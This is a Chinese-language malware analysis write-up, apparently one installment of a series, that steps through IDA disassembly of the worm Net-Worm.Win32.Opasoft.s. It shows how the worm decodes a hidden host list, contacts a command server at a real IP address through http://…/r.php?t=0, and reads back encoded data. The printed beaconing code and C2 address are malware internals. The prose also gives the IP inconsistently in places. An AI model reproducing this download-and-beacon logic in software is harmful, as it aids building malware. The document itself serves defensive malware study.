文件名称:srv32.exe
蠕虫名称:Net-Worm.Win32.Opasoft.s
工具: IDA 4.5.1, SoftICE3.1
上次我们说到在函数sub_40148D里创建了一个线程,现在我们看看这个线程到底
在作什么。
CODE:0040148D sub_40148D proc near
...
CODE:004014AA loc_4014AA:
CODE:004014AA push offset ThreadId ; lpThreadId
CODE:004014AF push 0 ; dwCreationFlags
CODE:004014B1 push 0 ; lpParameter
CODE:004014B3 push 401DB0h ; lpStartAddress
CODE:004014B8 push 2000h ; dwStackSize
CODE:004014BD push 0 ; lpThreadAttributes
CODE:004014BF call CreateThread
CODE:004014C4 mov ds:hHandle, eax
CODE:004014C9
CODE:004014C9 locret_4014C9:
CODE:004014C9 retn
CODE:004014C9 sub_40148D endp
用IDA查看该线程的代码如下:
CODE:00401DB0 ; DWORD __stdcall StartAddress(LPVOID)
CODE:00401DB0 StartAddress proc near
CODE:00401DB0
CODE:00401DB0 dwConnectedState= dword ptr -0A68h
CODE:00401DB0 var_A64 = dword ptr -0A64h
CODE:00401DB0 var_A60 = dword ptr -0A60h
CODE:00401DB0 var_A5C = dword ptr -0A5Ch
CODE:00401DB0 var_A58 = dword ptr -0A58h
CODE:00401DB0 NumberOfBytesWritten= dword ptr -0A54h
CODE:00401DB0 lpBuffer = dword ptr -0A4Ch
CODE:00401DB0 hInternet = dword ptr -0A48h
CODE:00401DB0 var_A44 = dword ptr -0A44h
CODE:00401DB0 pszUrl = dword ptr -944h
CODE:00401DB0 Buffer = dword ptr -844h
CODE:00401DB0 var_840 = dword ptr -840h
CODE:00401DB0 var_83C = dword ptr -83Ch
CODE:00401DB0 var_838 = dword ptr -838h
CODE:00401DB0 var_834 = dword ptr -834h
CODE:00401DB0 var_830 = dword ptr -830h
CODE:00401DB0 var_82C = dword ptr -82Ch
CODE:00401DB0 var_828 = dword ptr -828h
CODE:00401DB0 var_81C = dword ptr -81Ch
CODE:00401DB0 var_814 = dword ptr -814h
CODE:00401DB0 var_810 = dword ptr -810h
CODE:00401DB0 var_10 = dword ptr -10h
CODE:00401DB0 var_C = dword ptr -0Ch
CODE:00401DB0 hMem = dword ptr -8
CODE:00401DB0 pBufOfReadFile = dword ptr -4
CODE:00401DB0
CODE:00401DB0 enter 0A68h, 0
CODE:00401DB4 mov [ebp+pBufOfReadFile], 0
CODE:00401DBB
CODE:00401DBB loc_401DBB:
CODE:00401DBB lea eax, [ebp+dwConnectedState]
CODE:00401DC1 push 0
CODE:00401DC3 push eax ; lpdwFlags
CODE:00401DC4 call InternetGetConnectedState ; 获得本地网络连接状态
CODE:00401DC9 test eax, eax
CODE:00401DCB jnz short loc_401DD9
CODE:00401DCD
CODE:00401DCD loc_401DCD:
CODE:00401DCD push 2710h ; dwMilliseconds
CODE:00401DD2 call Sleep
CODE:00401DD7 jmp short loc_401DBB ; 睡10秒再工作
CODE:00401DD9 ; ///////////////////////////////////////////////////////////////////////////
可以看到该线程一开始就调用InternetGetConnectedState来判断当前的网络连接状态,
没有连接就休息10秒再试,有连接就跳转到以下代码:
CODE:00401DD9 loc_401DD9:
CODE:00401DD9 push 0
CODE:00401DDB push 0
CODE:00401DDD push 0
CODE:00401DDF push 0 ; INTERNET_OPEN_TYPE_PRECONFIG
CODE:00401DE1 push 0
CODE:00401DE3 call InternetOpenA ; 初始化工作
CODE:00401DE8 mov [ebp+hInternet], eax
CODE:00401DEE push 10000h ; 65536 Bytes
CODE:00401DF3 push 0 ; uFlags = LMEM_FIXED
CODE:00401DF5 call LocalAlloc ; 分配内存
CODE:00401DFA mov [ebp+lpBuffer], eax
CODE:00401E00 lea eax, [ebp+pBufOfReadFile]
CODE:00401E03 push eax
CODE:00401E04 call sub_401A39 ; 对文件hstlst操作
CODE:00401E09 test eax, eax
CODE:00401E0B jz short loc_401E29
InternetOpenA为调用WinInet.dll里的函数做一些准备工作,sub_401A39会
读Windows目录下文件hstlst的内容,并对读出的内容进行转换(pBufOfReadFile
指向地址就是转换后的内容的地址),第一次执行并没有这个文件,也没有跳转,其实看
名字也能猜到文件hstlst可能是一段IP地址(HostList嘛:)),其实文件hstlst不存
在的话在函数sub_401A39会用到一段数据如下:
g_IpAddr_40600C[] =
{
0xDF,0x11,0xD2,0xEE,
0x45,0xC6,0xFA,0xFA,
0xB2,0xBA,0xF0,0x67,
0x39,0x74,0x88,0xEE,
0x25,0xB1,0xD0,0x39,
0x87,0x1A,0x0C,0x55,
0x11,0x65,0xA7,0xDE,
0xA4,0x4F,0xDA,0x10
}
这段数据经过函数sub_401967转换成:
pBufOfReadFile[] =
{
0xE8,0xFE,0x0C,0x00,
0xF0,0x06,0x1E,0x00,
0x42,0xF6,0x29,0xC9,
0x3F,0xF7,0x87,0x30,
0x3F,0xF7,0x87,0x30,
0x40,0xB1,0xE2,0xC0,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00
}
一会会用到DWORD pBufOfReadFile[0xC] 就是0x3F,0xF7,0x87,0x30
到下面你就会发现它是一段IP地址,0x3087F73F = 3F.F7.87.30=63.247.135.48
继续走...
CODE:00401E0D mov edi, [ebp+pBufOfReadFile]
CODE:00401E10 mov ecx, eax
CODE:00401E12 shr ecx, 2
CODE:00401E15 xor eax, eax
CODE:00401E17 cld
CODE:00401E18 repne scasd
CODE:00401E1A sub edi, [ebp+pBufOfReadFile]
CODE:00401E1D shr edi, 2
CODE:00401E20 dec edi
CODE:00401E21 mov [ebp+var_C], edi
CODE:00401E24 cmp edi, 5
CODE:00401E27 jge short loc_401E2B ;程序到这里会跳转
CODE:00401E29 loc_401E29:
CODE:00401E29 jmp short loc_401DCD
CODE:00401E2B ; ///////////////////////////////////////////////////////////////////////////
CODE:00401E2B
CODE:00401E2B loc_401E2B:
CODE:00401E2B mov [ebp+var_A64], 0
CODE:00401E35 push 0 ; hTemplateFile
CODE:00401E37 push 0 ; dwFlagsAndAttributes
CODE:00401E39 push 3 ; OPEN_EXISTING
CODE:00401E3B push 0 ; lpSecurityAttributes
CODE:00401E3D push 3 ; dwShareMode
CODE:00401E3F push 80000000h ; dwDesiredAccess
CODE:00401E44 push offset aSccss ; lpFileName
CODE:00401E49 call CreateFileA
CODE:00401E4E cmp eax, 0FFFFFFFFh
CODE:00401E51 jz loc_401F91 ; 文件sccss不存在跳
噢,又用到了sccss文件,没有跳走...
CODE:00401F9B loc_401F9B:
CODE:00401F9B mov [ebp+var_10], 0
CODE:00401FA2 push 0 ; hTemplateFile
CODE:00401FA4 push 0 ; dwFlagsAndAttributes
CODE:00401FA6 push 3 ; OPEN_EXISTING
CODE:00401FA8 push 0 ; lpSecurityAttributes
CODE:00401FAA push 3 ; dwShareMode
CODE:00401FAC push 80000000h ; dwDesiredAccess
CODE:00401FB1 push offset aSrv32res ; lpFileName
CODE:00401FB6 call CreateFileA ; 打开文件srv32res
CODE:00401FBB cmp eax, 0FFFFFFFFh
CODE:00401FBE jnz short loc_401FD0 ; 打开文件srv32res成功则跳转
CODE:00401FC0 cmp ds:dword_406587, 0
CODE:00401FC7 jnz short loc_401FCB
CODE:00401FC9 jmp short loc_402034
哈哈,还记得第一篇吗,就是这两个文件sccss,srv32res,这次jmp到了402034
CODE:00402034 loc_402034:
CODE:00402034 lea eax, [ebp+pszUrlParam]
CODE:0040203A push offset aT0 ; "t=0"
CODE:0040203F push eax
CODE:00402040 call lstrcpy ; 把字符串"t=0"拷贝到var_A44
CODE:00402045 jmp short $+2 ; 到loc_402047
CODE:00402047
CODE:00402047 loc_402047:
CODE:00402047 mov eax, [ebp+pBufOfReadFile]
CODE:0040204A push dword ptr [eax+0Ch] ; in
CODE:0040204D call inet_ntoa ; 把IP地址转换成字符格式x.x.x.x
CODE:0040204D ; 第一次到这时为63.247.135.48
CODE:00402052 lea edi, [ebp+pszUrl]
CODE:00402058 lea ecx, [ebp+pszUrlParam]
CODE:0040205E push ecx ; string "t=0"
CODE:0040205F push eax ; Ip Address:63.247.135.48
CODE:00402060 push offset aHttpSR_php?S ; "http://%s/r.php?%s"
CODE:00402065 push edi
CODE:00402066 call wsprintfA ; 函数执行完后
CODE:00402066 ; pszUrl == *(edi)
CODE:00402066 ; = http://63.247.135.48/r.php?t=0
CODE:0040206B add esp, 10h ; __cdecl调用,由调用函数平衡堆栈
CODE:0040206E lea eax, [ebp+NumberOfBytesWritten]
看这两句
mov eax,[ebp+pBufOfReadFile]
push dword ptr [eax+0ch]
那个push的就是(DWORD) pBufOfReadFile[0xC],然后调用inet_ntoa把IP地址转换
成了点分十进制的字符形式,最后得到了URL:http://63.247.135.48/r.php?t=0
CODE:00402074 push eax
CODE:00402075 push [ebp+lpBuffer]
CODE:0040207B push edi ; 把URL入栈
CODE:0040207C push [ebp+hInternet]
CODE:00402082 call sub_401CF0
URL入栈后调用了sub_401CF0,跟进去看看它搞什么鬼..
CODE:00401CF0 sub_401CF0 proc near
CODE:00401CF0
CODE:00401CF0 dwNumberOfByteRead= dword ptr -110h
CODE:00401CF0 hUrlFile = dword ptr -10Ch
CODE:00401CF0 dwInfoBufSize = dword ptr -108h
CODE:00401CF0 lpszInfoBuf = dword ptr -104h
CODE:00401CF0 var_dwReturnValue= dword ptr -4
CODE:00401CF0 arg_hInternet = dword ptr 8
CODE:00401CF0 arg_URL = dword ptr 0Ch
CODE:00401CF0 arg_lpszReadBuf = dword ptr 10h
CODE:00401CF0 arg_pdwUrlFileSize= dword ptr 14h
CODE:00401CF0 ;为了方便理解我已经把这个函数的参数和局部变量重新命了名
CODE:00401CF0 enter 110h, 0
CODE:00401CF4 push esi
CODE:00401CF5 mov [ebp+var_dwReturnValue], 0
CODE:00401CFC push 0 ; dwContext
CODE:00401CFE push 4000100h ; dwFlags ==
CODE:00401CFE ; INTERNET_FLAG_RAW_DATA |
CODE:00401CFE ; INTERNET_FLAG_PRAGMA_NOCACHE
CODE:00401D03 push 0 ; dwHeadersLength
CODE:00401D05 push 0 ; lpszHeaders
CODE:00401D07 push [ebp+arg_URL] ; lpszURL == http://63.247.135.48/r.php?t=0
CODE:00401D0A push [ebp+arg_hInternet] ; hInternet
CODE:00401D0D call InternetOpenUrlA
CODE:00401D12 test eax, eax
CODE:00401D14 jz loc_401DA8 ; InternetOpenUrlA失败则跳转
调用InternetOpenUrlA打开上面得到的那个URL:http://63.246.135.48/r.php?t=0
CODE:00401D1A mov [ebp+hUrlFile], eax
CODE:00401D20 mov [ebp+dwInfoBufSize], 100h
CODE:00401D2A lea eax, [ebp+lpszInfoBuf]
CODE:00401D30 lea edx, [ebp+dwInfoBufSize]
CODE:00401D36 push 0
CODE:00401D38 push edx
CODE:00401D39 push eax
CODE:00401D3A push 13h
CODE:00401D3C push [ebp+hUrlFile]
CODE:00401D42 call HttpQueryInfoA ; 返回的信息串为"200"
CODE:00401D42 ; 表示http请求成功,返回信息存储到lpszInfoBuf
CODE:00401D47 test eax, eax
CODE:00401D49 jz short loc_401D9D ; 函数HttpQueryInfo失败则跳转
调用HttpQueryInfo来判断HTTP服务器63.246.135.48是否正常响应,返回值为200
表示http请求成功,下面就会调用InternetReadFile去读文件。
CODE:00401D4B mov esi, [ebp+arg_pdwUrlFileSize]
CODE:00401D4E mov dword ptr [esi], 0
CODE:00401D54
CODE:00401D54 loc_401D54:
CODE:00401D54 mov eax, [ebp+arg_lpszReadBuf]
CODE:00401D57 add eax, [esi]
CODE:00401D59 mov ecx, 10000h
CODE:00401D5E sub ecx, [esi]
CODE:00401D60 lea edx, [ebp+dwNumberOfByteRead]
CODE:00401D66 push edx
CODE:00401D67 push ecx
CODE:00401D68 push eax
CODE:00401D69 push [ebp+hUrlFile]
CODE:00401D6F call InternetReadFile
CODE:00401D74 test eax, eax
CODE:00401D76 jz short loc_401D86 ; 失败则跳转
读r.php?t=0返回的内容,存到arg_lpszReadBuf(这是个指针参数,用于向上层函数返回
读取的内容),读的字节数存到dwNumberOfByteRead,读出的内容为:
arg_lpszReadBuf[] = "\
t=8&p=1525FFFFFFFFFFFF&c=D0A58993CE0F2086053F57E8785F90C61B1F8E
20DB856D9554CC789EC0F28D7162D43FC75E50069F8793C546B88A9C4BD80D2
9241357C766626A77D951CD57CFF9794E84507F478A47EC525DAA963D70172A
D7CCC3348F3B06B598EA9A286187733F576EB82A6D43CACF4F56746595C01A6
005215EA0E0BE6D9896C25B5A9252F1949A0E964CC86EE6EA5B00F15AE9B386
15CC7594BD85B3318FDC8D905D4D5ED93AD43F211A008F6C0D0FDF702F21BA7
3349F58AA2F78F7FE0750D8C0D019846F4B63B1D5FD699F62A0D5471FC9A69B
643B20BE7A819679A89868C58723FDA8C0B503329C6B345C3D35FFA9DABC868
0BE5A90BBB8D9EE4C963619F1949EC6F8DF24E6DFC6E38CB7FB024D59E80358
08C6B054DEA68B0F8F05302C027DBC14A149C72F9F907AB3D909EDEF3085C9B
57A36D64DA14C23071AB5715BDEDDC6195D558D1310842BB33D180FF103EFF9
CF931D58E0BE5000095351DCE2D48000EAF73E84D1DD92A3B0C0CFA73179613
628E9A63E89DAB3A3C64D3573141C2D17A55064F988361669A4D0B9DAD6886E
5F32BFB2C40A7DFC8BF1457A512475D1E32B3799AF025547444C19CCE8B62BD
26EA0AF2350E421DB48EDAE22CF696946928788DD05FE044848E3FD61792192
DD6D2424DF48BC501E8200EE6AFEFF50C3B5488BAD36892C2763BCC6E7AB30C
F789426A745FD65B0C8ECE543EA0D6606D2220DEBE1D1E3D42C97FE5216BE06
A7B07DB2145491990A8AD977055A7540049AB776445ABC1F83FFF41247CD8AE
C388ECDBF562A1C9B2F850992A5AE4179915E63811D9BD958FA135E69F16B73
4E9FD4679FED9464E6EA753AFB5BB411F3AF28A7347F7B49C5A05C776AE1F9F
0FBDA29252FBF21F3F73CF888B599F0E6927B48725FA7C6A9871178EEAF6E42
BF0694A62838BDB2240DAE97F654A37F14872675A34CAA068A552AB3F53BCBB
4DD890E4788120AA3319EBE6BA4E98612EB93252D794C6BECB3464F48242F44
3B3EF0E077C15961E5406B821A626F755483A3FFA7A5E451E4CE96E149A0FBD
D&v=FEE9&d=0&w=&k=124F5"
字符串的最后这一段"&v=FEE9&d=0&w=&k=124F5",每次请求可能会不一样。
CODE:00401D78 mov eax, [ebp+dwNumberOfByteRead]
CODE:00401D7E test eax, eax
CODE:00401D80 jz short loc_401D8F
CODE:00401D82 add [esi], eax
CODE:00401D84 jmp short loc_401D54
CODE:00401D86 ; ///////////////////////////////////////////////////////////////////////////
CODE:00401D86
CODE:00401D86 loc_401D86:
CODE:00401D86 mov [ebp+var_dwReturnValue], 0FFFFFFFFh
CODE:00401D8D jmp short loc_401D9D
CODE:00401D8F ; ///////////////////////////////////////////////////////////////////////////
CODE:00401D8F
CODE:00401D8F loc_401D8F:
CODE:00401D8F lea eax, [ebp+lpszInfoBuf]
CODE:00401D95 call sub_4018D7 ; 把Internet返回的字符串"200"
CODE:00401D95 ; 转换成数字200(0xC8)
子函数sub_4018D7把Http请求返回的信息转换成数字200(十六进制0xC8),并作为函数的返回值返回。
CODE:00401D9A mov [ebp+var_dwReturnValue], eax
CODE:00401D9D
CODE:00401D9D loc_401D9D:
CODE:00401D9D push [ebp+hUrlFile]
CODE:00401DA3 call InternetCloseHandle
CODE:00401DA8
CODE:00401DA8 loc_401DA8:
CODE:00401DA8 mov eax, [ebp+var_dwReturnValue] ; 函数最后返回值200(0xC8)
CODE:00401DAB pop esi
CODE:00401DAC leave
CODE:00401DAD retn 10h
CODE:00401DAD sub_401CF0 endp
函数返回:
CODE:00402082 call sub_401CF0
CODE:00402087 test eax, eax ;函数返回到这里
CODE:00402089 jz loc_402264 ; sub_401CF0调用失败则跳转
CODE:0040208F cmp eax, 0FFFFFFFFh
CODE:00402092 jz loc_402264
CODE:00402098 cmp eax, 0C8h
CODE:0040209D jnz loc_40228A
跳来跳去看的我眼都花了,今天先到这,记下各寄存器的值明天继续...
函数返回到402087时各寄存器的值为:
============================
EAX = 000000C8
EBX = 00000000
ECX = 0007E220
EDX = 00000000
ESI = 0040602C
EDI = 0076F670
EBP = 0076FFB4
ESP = 0076F54C
C 0
P 1
A 0
Z 1
S 0
T 0
D 0
O 0
I 1
============================